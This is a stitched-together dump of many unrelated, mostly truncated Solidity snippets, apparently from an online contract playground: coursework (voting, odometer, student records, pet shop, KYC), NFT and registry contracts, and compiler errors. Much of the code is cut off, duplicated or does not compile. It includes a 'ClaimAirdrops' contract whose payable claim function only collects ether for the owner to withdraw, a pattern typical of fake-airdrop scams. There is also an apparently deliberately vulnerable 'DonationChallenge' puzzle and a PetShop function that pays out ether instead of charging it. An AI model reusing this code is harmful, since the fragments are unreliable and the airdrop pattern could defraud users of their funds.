//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;
contract Playground {
function compound()
public
pure
returns (uint256)
{
uint256 compoundedDays = 100;
return (100 * (100+8)**compoundedDays) * 10**(6 - 2 * compoundedDays);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;
contract Playground {
function compare(string _s1, string _s2)
pure
public
returns(bool) {
bytes memory b1 = bytes(_s1);
bytes memory b2 = bytes(_s2);
if (b1.length != b2.length) {
return false;
}
return keccak256(b1) == keccak256(b2);
}
function concat(string _s1, string _s2)
pure
public
returns(string) {
return string(abi.encodePacked(bytes(_s1), bytes(_s2)));
}
function strLen(string _str)
pure
public
returns(uint) {
bytes memory b = bytes(_str);
return (b.length);
}
function strReplace(string _from, string _what, string _to)
pure
public
returns(string) {
bytes memory bfrom = bytes(_from);
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;
contract SimpleStore {
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB)
internal
pure
returns (address token0, address token1)
{
require(tokenA != tokenB, "UniswapV2Library: IDENTICAL_ADDRESSES");
(token0, token1) = tokenA < tokenB
? (tokenA, tokenB)
: (tokenB, tokenA);
require(token0 != address(0), "UniswapV2Library: ZERO_ADDRESS");
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(
address factory,
address tokenA,
address tokenB
) external pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(
uint256(
keccak256(
/**
Author: Ravi Kumar
purpose: Coding Assignment: 1
description: solidity Programming - Voter Application
*/
pragma solidity ^0.4.10;
contract Voting {
//Owner of the contract, address which deploys the contract
address owner;
//Contract level variables, to capture the state of the contract
uint256 canidatesCount;
uint256 votersCount;
uint256 votesCount;
//Complex DataType
//Contract level object to store Voter Information
struct Voter {
uint256 candidateIdVote;
bool hasVoted;
bool isAuthorized;
}
//Complex Data Type
//Construct level object to store candidate information
struct Candidate {
string name;
string party;
uint256 votesCount;
bool doesExists;
}
//Stores list of candidates & voters
//Could have used array as well here
mapping(uint256 => Candidate) candidates;
mapping(address => Voter) voters;
//constructor to initialize owner as the address which creates the co
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
function remove(uint _id) external {
Animal[] memory copy;
uint i;
for (; i < animals.length; i++) {
if (_id != i) {
copy.push(animals[i]);
}
}
animals = copy;
}
uint value;
}
TypeError: Member "push" is not available in struct Spa.Animal[] memory outside of storage.
--> contracts/SPA.sol:51:17:
|
51 | copy.push(animals[i]);
| ^^^^^^^^^
Error HH600: Compilation failed
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Royalty.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract MyContractTest is ERC721, ERC721Royalty, ReentrancyGuard, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
uint256 MAX_SUPPLY = 9;
string _contractURI = "ipfs://";
constructor() ERC721("MyContractTest", "MCT") {
_tokenIdCounter.increment();
}
function contractURI() public view returns (string memory) {
return _contractURI;
}
function _baseURI() internal pure override returns (string memory) {
return "ipfs:///";
}
function mint(address to) public onlyOwner {
uint256 tokenId = _tokenIdCounter.current();
require(t
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.20;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "https://github.com/ProjectOpenSea/seaport/blob/main/contracts/interfaces/SeaportInterface.sol";
import "https://github.com/ProjectOpenSea/seaport/blob/main/contracts/lib/ConsiderationEnums.sol";
contract Vault {
address public creator; // Person who created the group chat.
string public name; // Group chat name.
mapping(address => address) public members; // Key: member wallet address, value: member wallet address (just needed a unique arbitrary value).
mapping(address => address) public ownedAssets; // Key: nft address, value: nft address (just needed a unique arbitrary value).
mapping(address => uint256) public amountRaisedForAsset; // Key: nft address, value: amount of Eth raised for that asset.
mapping(address => mapping(address => uint256)) public individualEscrowedAmounts; // Key: nft address, value: mapping of user address to amount of Eth they have escrowed to that pending asset.
mapping(address => ma
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "https://github.com/ProjectOpenSea/seaport/blob/main/contracts/interfaces/SeaportInterface.sol";
import "https://github.com/ProjectOpenSea/seaport/blob/main/contracts/lib/ConsiderationEnums.sol";
contract Vault {
address public creator; // Person who created the group chat.
string public name; // Group chat name.
mapping(address => address) public members; // Key: member wallet address, value: member wallet address (just needed a unique arbitrary value).
mapping(address => address) public ownedAssets; // Key: nft address, value: nft address (just needed a unique arbitrary value).
mapping(address => uint256) public amountRaisedForAsset; // Key: nft address, value: amount of Eth raised for that asset.
mapping(address => mapping(address => uint256)) public individualEscrowedAmounts; // Key: nft address, value: mapping of user address to amount of Eth they have escrowed to that pending asset.
mapping(address => ma
pragma solidity ^0.6.0;
import "https://github.com/OpenZeppelin/openzeppelin-solidity/contracts/token/ERC721/ERC721.sol";
// ERC-721 contract that represents unique, non-fungible tokens
contract MyERC721 is ERC721 {
// The base URI is a human-readable string that is used as the base URL
// for all token URIs
string private _baseURI;
constructor(string memory _name, string memory _symbol, string memory _baseURI)
ERC721(_name, _symbol)
public
{
// Set the base URI
_setBaseURI(_baseURI);
}
// Set the base URI for the contract
function setBaseURI(string memory _baseURI) public {
// Only the contract owner can set the base URI
require(msg.sender == owner, "Only the contract owner can set the base URI");
// Set the base URI
_setBaseURI(_baseURI);
}
// Internal function to set the base URI
function _setBaseURI(string memory _baseURI) internal {
// Set the base URI
_baseURI = _baseURI;
pragma solidity ^0.6.0;
import "https://github.com/OpenZeppelin/openzeppelin-solidity/contracts/token/ERC721/ERC721.sol";
// ERC-721 contract that represents unique, non-fungible tokens
contract MyERC721 is ERC721 {
// The base URI is a human-readable string that is used as the base URL
// for all token URIs
string private _baseURI;
constructor(string memory _name, string memory _symbol, string memory _baseURI)
ERC721(_name, _symbol)
public
{
// Set the base URI
_setBaseURI(_baseURI);
}
// Set the base URI for the contract
function setBaseURI(string memory _baseURI) public {
// Only the contract owner can set the base URI
require(msg.sender == owner, "Only the contract owner can set the base URI");
// Set the base URI
_setBaseURI(_baseURI);
}
// Internal function to set the base URI
function _setBaseURI(string memory _baseURI) internal {
// Set the base URI
_baseURI = _baseURI;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract HelloWorld{
string private helloMessage = 'Hello world';
function getHelloMessage() public view returns (string memory) {
return helloMessage;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.4.23;
contract DaicoVote {
... // Constructor
IDaicoToken public tokenContract; // Token contract interface
uint256 public endTime;
uint256 public cumulativeYes;
uint256 public cumulativeNo;
mapping(address => voteInstance) public voteByAddress; // Stores the individual votes
struct voteInstance {
uint256 time;
uint256 weight;
bool vote;
}
function tallyResult() public view returns (bool) {
uint256 abstain = (tokenContract.totalSupply().add(cumulativeNo)).sub(cumulativeYes);
return (cumulativeYes > cumulativeNo.add(calcAbstain())) ? true : false;
}
function finalResult() public view returns (bool) {
require(now > endTime);
return tallyResult();
}
// Record token holder balance in cumulative vote
function submitVote(bool _vote) public returns (bool) {
... // require positive token balance, active voting period and no previous vote for this address
// Get token holder balance
uint256 voteWeight = tokenContract.balan
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
/*
* Create smart contract for tracking cars repair history.
* Fill up the code blocks in Solidity for:
* - getCar()
* - createCar()
* - updateKilometers()
* - transferOwnership()
*/
pragma solidity ^0.4.21;
/**
* Contract to store the mileage of a car
*/
contract Odometer {
event Creation(
address indexed from,
string indexed vin
);
event Transfer(
address indexed from,
address indexed to,
string indexed vin
);
struct Car {
string vin;
address owner;
uint kilometers;
}
mapping (string => Car) cars;
function Odometer() public {}
/**
* Returns the current data of the given car
*/
function getCar(string vin) public constant returns(address owner, uint kilometers) {
/* -- Your code here -- */
return (cars[vin].owner, cars[vin].kilometers)
}
/**
* Creates a track record of a new car.
* Transaction will fail (and burn gas!) if the c
/*
* Create smart contract for tracking cars repair history.
* Fill up the code blocks in Solidity for:
* - getCar()
* - createCar()
* - updateKilometers()
* - transferOwnership()
*/
pragma solidity ^0.4.21;
/**
* Contract to store the mileage of a car
*/
contract Odometer {
event Creation(
address indexed from,
string indexed vin
);
event Transfer(
address indexed from,
address indexed to,
string indexed vin
);
struct Car {
string vin;
address owner;
uint kilometers;
}
mapping (string => Car) cars;
function Odometer() public {}
/**
* Returns the current data of the given car
*/
function getCar(string vin) public constant returns(address owner, uint kilometers) {
/* -- Your code here -- */
Car storage car = cars[vin];
return (car.owner, car.kilometers);
}
/**
* Creates a track record of a new car.
* Transaction will fai
/*
* Create smart contract for tracking cars repair history.
* Fill up the code blocks in Solidity for:
* - getCar()
* - createCar()
* - updateKilometers()
* - transferOwnership()
*/
pragma solidity ^0.4.21;
/**
* Contract to store the mileage of a car
*/
contract Odometer {
event Creation(
address indexed from,
string indexed vin
);
event Transfer(
address indexed from,
address indexed to,
string indexed vin
);
struct Car {
string vin;
address owner;
uint kilometers;
}
mapping (string => Car) cars;
function Odometer() public {}
/**
* Returns the current data of the given car
*/
function getCar(string vin) public constant returns(address owner, uint kilometers) {
/* -- Your code here -- */
owner = cars[vin].owner;
kilometers = cars[vin].kilometers;
asser (car)
}
/**
* Creates a track record of a new car.
* Transact
// Write an example of simple smart contract store with value setter and getter?
/* -- Your code here -- */
pragma solidity ^0.7.0;
contract Test {
uint256 testValue;
function constructor(){
}
function getValue() external view returns {
return testValue;
}
function setValue(uint256 _value) external {
testValue = _value;
}
/*
* Create smart contract for tracking cars repair history.
* Fill up the code blocks in Solidity for:
* - getCar()
* - createCar()
* - updateKilometers()
* - transferOwnership()
*/
pragma solidity ^0.4.21;
/**
* Contract to store the mileage of a car
*/
contract Odometer {
event Creation(
address indexed from,
string indexed vin
);
event Transfer(
address indexed from,
address indexed to,
string indexed vin
);
struct Car {
string vin;
address owner;
uint kilometers;
}
mapping (string => Car) cars;
function Odometer() public {}
/**
* Returns the current data of the given car
*/
function getCar(string vin) public constant returns(address owner, uint kilometers) {
/* -- Your code here -- */
owner = cars[vin].owner;
kilometers = cars[vin].kilometers;
asser (car)
}
/**
* Creates a track record of a new car.
* Transact
// Write an example of simple smart contract store with value setter and getter?
/* -- Your code here -- *
// Write an example of simple smart contract store
/* -- Your code here -- *
/*
* Create smart contract for tracking cars repair history.
* Fill up the code blocks in Solidity for:
* - getCar()
* - createCar()
* - updateKilometers()
* - transferOwnership()
*/
pragma solidity ^0.4.21;
/**
* Contract to store the mileage of a car
*/
contract Odometer {
event Creation(
address indexed from,
string indexed vin
);
event Transfer(
address indexed from,
address indexed to,
string indexed vin
);
struct Car {
string vin;
address owner;
uint kilometers;
}
mapping (string => Car) cars;
function Odometer() public {}
/**
* Returns the current data of the given car
*/
function getCar(string vin) public constant returns(address owner, uint kilometers) {
/* -- Your code here -- */
}
/**
* Creates a track record of a new car.
* Transaction will fail (and burn gas!) if the car already exists.
*/
function createCar(strin
pragma solidity ^0.4.21;
/**
* Contract to store the mileage of a car
*/
contract Odometer {
event Creation(
address indexed from,
string indexed vin
);
event Transfer(
address indexed from,
address indexed to,
string indexed vin
);
struct Car {
string vin;
address owner;
uint kilometers;
}
mapping (string => Car) cars;
function Odometer() public {}
/**
* Creates a track record of a new car.
* Transaction will fail (and burn gas!) if the car already exists.
*/
function createCar(string vin) public {
assert(cars[vin].owner == 0x0);
cars[vin].vin = vin;
cars[vin].owner = msg.sender;
cars[vin].kilometers = 0;
emit Creation(msg.sender, vin);
}
/**
* Updates the current kilometers of the car. Transactions fails and burns gas if
* the new kilometer value is lower than the old one.
*/
f
pragma solidity 0.8.17;
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "forge-std/Test.sol";
contract PriceTest is Test {
uint256 constant continuousFundraisingFeeDenominator = 100;
uint8 constant tokenDecimals = 18;
IERC20Metadata constant EUROC =
IERC20Metadata(0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c);
IERC20Metadata constant USDC =
IERC20Metadata(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IERC20Metadata constant WBTC =
IERC20Metadata(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
IERC20Metadata constant WETH =
IERC20Metadata(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
function divideRoundUp(uint256 numerator, uint256 denominator)
public
pure
returns (uint256)
{
return
numerator % denominator == 0
? numerator / denominator
: numerator / denominator + 1;
}
function testEUROC() public {
uint256 tokenPrice = 2
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.0;
/*
학생관리 프로그램 확장판입니다.
아래에 11월 17, 21, 25일의 학생부 관리 프로그램의 문제가 있습니다.
------------------------------
11/17/2022
1번 지갑은 선생님입니다. 2,3,4,5,6,7,8,9,10번은 학생입니다.
이름, 번호, 생일, 점수 그리고 학점을 포함한 학생이라는 구조체를 생성하고 학생을 추가하고 삭제하고 조회하는 기능을 추가하세요.
학점은 90점 이상이면 A, 90점 미만 80점 이상이면 B, 80점 미만 70점 이상이면 C, 70점 미만 60점 이상이면 D 그 이외는 F 입니다.
학생 추가 기능 - 이 기능은 누구나 사용할 수 있습니다만 = 보통 학생들이 직접 사용할 예정입니다. 학생들이 본인의 정보를 추가할 때 자신의 지갑주소와 mapping이 될 수 있게 해주세요. (값은 임의대로 넣으세요)
학생 삭제 기능 - 이 기능은 특정 주소의 지갑소유자(선생님)만
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.0;
/*
학생관리 프로그램 확장판입니다.
아래에 11월 17, 21, 25일의 학생부 관리 프로그램의 문제가 있습니다.
------------------------------
11/17/2022
1번 지갑은 선생님입니다. 2,3,4,5,6,7,8,9,10번은 학생입니다.
이름, 번호, 생일, 점수 그리고 학점을 포함한 학생이라는 구조체를 생성하고 학생을 추가하고 삭제하고 조회하는 기능을 추가하세요.
학점은 90점 이상이면 A, 90점 미만 80점 이상이면 B, 80점 미만 70점 이상이면 C, 70점 미만 60점 이상이면 D 그 이외는 F 입니다.
학생 추가 기능 - 이 기능은 누구나 사용할 수 있습니다만 = 보통 학생들이 직접 사용할 예정입니다. 학생들이 본인의 정보를 추가할 때 자신의 지갑주소와 mapping이 될 수 있게 해주세요. (값은 임의대로 넣으세요)
학생 삭제 기능 - 이 기능은 특정 주소의 지갑소유자(선생님)만
// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
library Math {
enum Rounding {
Down, // Toward negative infinity
Up, // Toward infinity
Zero // Toward zero
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a > b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a == 0 ? 0 : (a - 1) / b + 1;
}
function mu
pragma solidity ^0.4.22;
contract helloWorld {
function renderHelloWorld () public pure returns (string) {
return 'Hello, World!';
}
pragma solidity ^0.4.26;
contract ClaimAirdrops {
address private owner; // current owner of the contract
constructor() public{
owner=msg.sender;
}
function getOwner(
) public view returns (address) {
return owner;
}
function withdraw() public {
require(owner == msg.sender);
msg.sender.transfer(address(this).balance);
}
function ClaimAirdrop() public payable {
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
// gkc_hash_code : 01GJ46WV2DZAGQM3EVM8ZB69CM
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "./interfaces/IDelegation.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
contract Registry is Initializable, AccessControlUpgradeable {
struct Registration {
uint256 tokenId;
address identityAddress;
}
function __Registry_init() internal onlyInitializing {}
function initialize() external virtual initializer {
__Registry_init();
__AccessControl_init();
_grantRole(DEFAULT_ADMIN_ROLE, msg.sender);
}
mapping(address => Registration) public registers;
function register(address account, uint256 tokenId, IDelegation identityAddress) external onlyRole(DEFAULT_ADMIN_ROLE) {
// TODO: need require
registers[account].tokenId
// gkc_hash_code : 01GJ46WV2DZAGQM3EVM8ZB69CM
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "./interfaces/IDelegation.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/EIP712Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
contract Registry is IDelegation, Initializable, EIP712Upgradeable, AccessControlUpgradeable {
struct Registration {
uint256 tokenId;
address identityAddress;
}
function __Registry_init() internal onlyInitializing {}
function _EIP712NameHash() internal pure override returns (bytes32) {
return keccak256(bytes(name()));
}
function _EIP712VersionHash() internal pure override returns (bytes32) {
return keccak256(bytes(version()));
}
function version() public pure returns (string m
// gkc_hash_code : 01GJ46WV2DZAGQM3EVM8ZB69CM
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "./interfaces/IDelegation.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/EIP712Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
contract Registry is IDelegation, Initializable, EIP712Upgradeable, AccessControlUpgradeable {
struct Registration {
uint256 tokenId;
address identityAddress;
}
function __Registry_init() internal onlyInitializing {}
function _EIP712NameHash() internal pure override returns (bytes32) {
return keccak256(bytes(name()));
}
function _EIP712VersionHash() internal pure override returns (bytes32) {
return keccak256(bytes(version()));
}
function version() public pure returns (string m
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract Registry {
struct Registration {
uint256 tokenId;
address identityAddress;
}
function register(address account, uint256 tokenId, IDelegation identityAddress) {}
function updateRegistration(address account, uint256 tokenId, IDelegation identityAddress) {}
function removeRegistration(address account) {}
function removeRegistration() {}
function validateCredentials(uint256 tokenId, string message, uint8 v, bytes32 r, bytes32 s) {}
}[start
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.4.16 <0.9.0;
contract SimpleStorage {
uintstoredData;
function set(uint x) public {
storedData = x;
}
function get() public view returns (uint) {
return storedData;
}
pragma solidity ^0.4.17;
contract Auction {
// Data
//Structure to hold details of the item
struct Item {
uint itemId; // id of the item
uint[] itemTokens; //tokens bid in favor of the item
}
//Structure to hold the details of a persons
struct Person {
uint remainingTokens; // tokens remaining with bidder
uint personId; // it serves as tokenId as well
address addr;//address of the bidder
}
mapping(address => Person) tokenDetails; //address to person
Person [4] bidders;//Array containing 4 person objects
Item [3] public items;//Array containing 3 item objects
address[3] public winners;//Array for address of winners
address public beneficiary;//owner of the smart contract
uint bidderCount=0;//counter
//functions
function Auction() public payable{ //constructor
//Part 1 Task 1. Initialize beneficiary with address of smart contract’s owner
/
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
contract CovidVaccination {
// structure for vaccination center
struct vaccinationCenter {
uint vc_id;
string vc_name;
string vc_district;
string vc_state;
}
mapping(uint => vaccinationCenter) public vc_data;
vaccinationCenter[] centers;
// structure for person/patient
struct person {
uint p_aadhaar;
string p_name;
string p_dob;
string p_address;
uint p_contact;
uint vc_id;
string p_date;
string p_time;
string p_health;
}
mapping(uint => person) public p_data;
person[] people;
// structure for vaccination
struct vaccination {
uint v_id;
uint p_aadhaar;
string v_doctor;
uint vc_id;
string v_date;
string v_time;
string v_dose;
}
mapping(uint => vaccination) public v_data;
vaccination[] vaccines;
// function to add vaccination ce
/*
Zhongtian Xia
zhongtix
PetShop.sol
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract PetShop {
//maps pet id number to address of pet owner
mapping (uint=>address) public petOwners;
//total number of pets in the PetShop
uint public numPets;
address public shopOwner;
constructor() {
numPets = 4;
shopOwner = msg.sender;
}
modifier ownerOnly()
{
require(
msg.sender == shopOwner
);
_;
}
//petId must be in the valid range
//pet must not already be adopted
//a pet costs 1 ether
//set pet owner in the mapping
//hint: use assertions
function adopt(uint petId) public payable {
require(petId < numPets,"petId must be in the valid range");
require(petOwners[petId] == address(0), "pet must not already be adopted");
if (msg.sender.balance <= 1 ether)
revert("Not enough Ether provided.");
payable(msg.sender).transfer(1 ether);
petOwners[petId] = msg.sender;
}
//returns the address of the
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.7.1;
import "hardhat/console.sol";
contract KYC {
struct Customer {
string userName;
string data;
bool kycStatus;
uint16 upVotes;
uint16 downVotes;
address bank;
}
struct Bank {
string name;
address ethAddress;
uint16 complaintsReported;
uint32 kycCount;
bool isAllowedToVote;
string regNumber;
}
struct KycRequest {
string userName;
address bank;
string data;
}
mapping(string => Customer) customers;
mapping(address => Bank) banks;
uint32 registeredBankCount = 0;
mapping(string => KycRequest) kycRequests;
mapping(address => bool) adminAccounts;
// Whoever deploys this code gets the admin priviledge
constructor() {
adminAccounts[msg.sender] = true;
}
// ** Bank Specific Functions **
function addCustomer(string memory _userName, string memory _customerData)
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract testContract {
function calculateRewardIfAvailableStaked() public view returns(uint stakedDuration){
uint stakedDuration = (block.timestamp - 1667260800) / 60 / 60 / 24;
return stakedDuration;
}
function abc() public view returns(uint stakedDuration){
string stakedDuration = "hello";
return stakedDuration;
}
pragma solidity ^0.7.1;
contract A {
uint8 a = 0;
}
contract B {
uint256 a = 0;
}
contract C {
uint32 a = 0;
}
contract D {
uint8 a = 0;
uint8 b = 0;
uint8 c = 0;
uint8 d = 0;
}
contract E {
uint32 a = 0;
uint32 b = 0;
uint32 c = 0;
uint32 d = 0;
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract IDelegation {
string public constant name = "ID management contract";
uint256 incDelegateId;
struct Delegate {
uint32 nonce;
address delegateAddr;
Role role;
Permission permission;
}
/**
* @dev Enumerated Permissions
* Roles have different permissions
* APPEND ONLY
*/
enum Permission {
NOz,
ANNOUNCE,
OWNERSHIP_TRANSFER,
DELEGATE_ADD,
DELEGATE_REMOVE
}
/**
* @dev Enumerated Roles
* Roles have different permissions
* APPEND ONLY
*/
enum Role {
NONE,
OWNER,
ANNOUNCER
}
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract IDelegation {
string public constant name = "ID management contract";
uint256 incDelegateId;
struct Delegate {
uint32 nonce;
address delegateAddr;
Role role;
Permission permission;
uint expiryBlock;
}
/**
* @dev Enumerated Permissions
* Roles have different permissions
* APPEND ONLY
*/
enum Permission {
NOz,
ANNOUNCE,
OWNERSHIP_TRANSFER,
DELEGATE_ADD,
DELEGATE_REMOVE
}
/**
* @dev Enumerated Roles
* Roles have different permissions
* APPEND ONLY
*/
enum Role {
NONE,
OWNER,
ANNOUNCER
}
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation stru
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
// The goal here is to create a multi-sig wallet safe
// Eventually the deployer will have to decide how many sigs are needed for the tranx to be approved
// The deployer will also be able to add/remove the allowed addresses
// BEFORE we get to that, let's create a SIMPLE wallet safe
// We'll expand upon its functionalities to make it a multi-sig safe bit by bit
// Create a cotract called Safe that: (This is how to make a wallet)
// 1 - Keeps track of users balance (balances mapping)
// 2 - Shows how many users have funds in the Safe
// 3 - Each user is represented by a Struct with at least: address, balance, unique ID
// 4 - A user can deposit, withdraw and tranfer funds to other users
// 5 - Create a modifier called "hasFunds" instead of require statements
// 6 - Create events for each functions
// 7 - Make an OnlyOwner Modifier. Use it in a function that will check the balance of the entire contract
// 8 - Use Assert(State the fact, lis
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract IDelegation {
string public constant name = "ID management contract";
struct DelegateAdd {
uint32 nonce;
address delegateAddr;
Role role;
Permission permission;
uint expiryBlock;
}
struct DelegateRemove {
uint32 nonce;
address delegateAddr;
}
/**
* @dev Enumerated Permissions
* Roles have different permissions
* APPEND ONLY
*/
enum Permission {
NOz,
ANNOUNCE,
OWNERSHIP_TRANSFER,
DELEGATE_ADD,
DELEGATE_REMOVE
}
/**
* @dev Enumerated Roles
* Roles have different permissions
* APPEND ONLY
*/
enum Role {
NONE,
OWNER,
ANNOUNCER
}
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
interface IDelegation {
struct DelegateAdd {
uint32 nonce;
address delegateAddr;
Role role;
}
struct DelegateRemove {
uint32 nonce;
address delegateAddr;
}
/**
* @dev Enumerated Permissions
* Roles have different permissions
* APPEND ONLY
*/
enum Permission {
NOz,
ANNOUNCE,
OWNERSHIP_TRANSFER,
DELEGATE_ADD,
DELEGATE_REMOVE
}
/**
* @dev Enumerated Roles
* Roles have different permissions
* APPEND ONLY
*/
enum Role {
NONE,
OWNER,
ANNOUNCER
}
event AddDelegate(address indexed delegate, Role role);
event RemoveDelegate(address indexed delegate);
/**
* @dev Add or change permissions for delegate
*/
function delegate(address newDelegate, Role role) external;
/**
* @dev Add or change permissions for delegate by EIP-712 signature
*/
function delegateBySig(
ad
pragma solidity ^0.4.21;
contract DonationChallenge {
struct Donation {
uint256 timestamp;
uint256 etherAmount;
}
Donation[] public donations;
address public owner;
function DonationChallenge() public payable {
require(msg.value == 1 ether);
owner = msg.sender;
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function donate(uint256 etherAmount) public payable {
// amount is in ether, but msg.value is in wei
uint256 scale = 10**18 * 1 ether;
require(msg.value == etherAmount / scale);
Donation donation;
donation.timestamp = now;
donation.etherAmount = etherAmount;
donations.push(donation);
}
function withdraw() public {
require(msg.sender == owner);
msg.sender.transfer(address(this).balance);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
/**
*Submitted for verification at Etherscan.io on 2017-06-01
*/
pragma solidity ^0.4.10;
/*
* This is an example gambling contract that works without any ABI interface.
* The entire game logic is invoked by calling the fallback function which
* is triggered, e.g. upon receiving a transaction at the contract address
* without any data sent along. The contract is attackable in a number of ways:
* - as soon as someone paid in Ether and starts the game, register with a
* large number of addresses to spam the player list and most likely win.
* - blockhash as source of entropy is attackable by miners
* - probably further exploits
* This only serves as a minimalistic example of how to gamble on Ethereum
* Author: S.C. Buergel for Validity Labs AG
*/
contract dgame {
uint public registerDuration;
uint public endRegisterTime;
uint public gameNumber;
uint public numPlayers;
mapping(uint => mapping(uint => address)) public players;
mapping(uint => mapping(address => bool)) publi
/**
*Submitted for verification at Etherscan.io on 2017-06-01
*/
pragma solidity ^0.4.10;
/*
* This is an example gambling contract that works without any ABI interface.
* The entire game logic is invoked by calling the fallback function which
* is triggered, e.g. upon receiving a transaction at the contract address
* without any data sent along. The contract is attackable in a number of ways:
* - as soon as someone paid in Ether and starts the game, register with a
* large number of addresses to spam the player list and most likely win.
* - blockhash as source of entropy is attackable by miners
* - probably further exploits
* This only serves as a minimalistic example of how to gamble on Ethereum
* Author: S.C. Buergel for Validity Labs AG
*/
contract dgame {
uint public registerDuration;
uint public endRegisterTime;
uint public gameNumber;
uint public numPlayers;
mapping(uint => mapping(uint => address)) public players;
mapping(uint => mapping(address => bool)) publi
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
uint _a = 1;
uint max = 0xff;
uint256 offset;
uint256 position;
mapping(uint256 => uint256) listings;
function add() public {
offset = _a / 256;
position = _a & 0xff;
listings[offset] |= (1 << position);
_a++;
}
function a() external view returns (uint) {return _a;}
function o() external view returns (uint) {return offset;}
function p() external view returns (uint) {return position;}
function l() external view returns (uint) {return listings[offset];}
// SPDX-License-Identifier: GPL-3.0
